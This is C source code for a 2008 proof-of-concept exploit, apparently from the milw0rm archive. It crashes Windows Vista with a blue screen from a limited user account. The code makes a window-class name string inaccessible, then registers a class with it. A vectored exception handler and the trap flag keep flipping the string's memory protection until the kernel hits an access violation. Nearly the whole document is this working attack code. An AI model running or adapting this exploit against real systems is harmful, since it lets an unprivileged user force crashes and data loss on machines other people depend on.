77 lines
No EOL
2.4 KiB
C
77 lines
No EOL
2.4 KiB
C
// //////////////////////////////////////////////////////////////
|
|
// Windows Vista BSoD (Access violation) from limited account. //
|
|
// Tested on Home Premium & Ultimate @ October 05 2008 //
|
|
/////////////////////////////////////////////////////////////////
|
|
#include <stdio.h>
|
|
#include <windows.h>
|
|
|
|
WCHAR szClass[] = L"BSODClass";
|
|
|
|
int ExceptionHandler(EXCEPTION_POINTERS* lpExceptionInfo);
|
|
typedef void (WINAPI* pFunc)(ULONG ulFirst, LPVOID lpHandler);
|
|
pFunc pRtlAddVectoredExceptionHandler;
|
|
|
|
typedef struct
|
|
{
|
|
DWORD dwWriteViolation;
|
|
LPVOID lpAddress;
|
|
} EXCEPTION_ACCESS_VIOLATION_PARAMS;
|
|
|
|
int main()
|
|
{
|
|
WNDCLASSW wc;
|
|
DWORD dwOldProt;
|
|
|
|
printf("Windows Vista BSoD from usermode/limited account.\n"
|
|
"Coded by. Defsanguje - October 05 2008\n");
|
|
|
|
// Setup vectored exception handler. SEH would work also.
|
|
pRtlAddVectoredExceptionHandler = (pFunc)GetProcAddress((HMODULE)GetModuleHandle("ntdll.dll"),
|
|
"RtlAddVectoredExceptionHandler");
|
|
(*pRtlAddVectoredExceptionHandler)(TRUE, ExceptionHandler);
|
|
|
|
// Dummy data
|
|
wc.style = 0;
|
|
wc.lpfnWndProc = NULL;
|
|
wc.cbClsExtra = 0;
|
|
wc.cbWndExtra = 0;
|
|
wc.hInstance = GetModuleHandle(NULL);
|
|
wc.hIcon = NULL;
|
|
wc.hCursor = LoadCursor(NULL, IDC_ARROW);
|
|
wc.hbrBackground = GetStockObject(HOLLOW_BRUSH);
|
|
wc.lpszMenuName = NULL;
|
|
wc.lpszClassName = szClass;
|
|
|
|
VirtualProtect(szClass, 1, PAGE_NOACCESS, &dwOldProt);
|
|
RegisterClassW(&wc);
|
|
|
|
printf("You shouldn't see this");
|
|
return 0;
|
|
}
|
|
|
|
int ExceptionHandler(EXCEPTION_POINTERS* lpExceptionInfo)
|
|
{
|
|
static LPVOID lpLastAddress;
|
|
static DWORD dwOldProt;
|
|
EXCEPTION_ACCESS_VIOLATION_PARAMS* avParams;
|
|
switch(lpExceptionInfo->ExceptionRecord->ExceptionCode)
|
|
{
|
|
case EXCEPTION_ACCESS_VIOLATION:
|
|
avParams = (EXCEPTION_ACCESS_VIOLATION_PARAMS*)lpExceptionInfo->ExceptionRecord->ExceptionInformation;
|
|
VirtualProtect(avParams->lpAddress, 1, PAGE_READWRITE, &dwOldProt);
|
|
lpLastAddress = avParams->lpAddress;
|
|
|
|
// Set trap flag
|
|
lpExceptionInfo->ContextRecord->EFlags |= 0x100;
|
|
break;
|
|
case STATUS_SINGLE_STEP:
|
|
VirtualProtect(lpLastAddress, 1, PAGE_NOACCESS, &dwOldProt);
|
|
break;
|
|
default:
|
|
break;
|
|
}
|
|
return EXCEPTION_CONTINUE_EXECUTION;
|
|
;
|
|
}
|
|
|
|
// milw0rm.com [2008-10-04]
|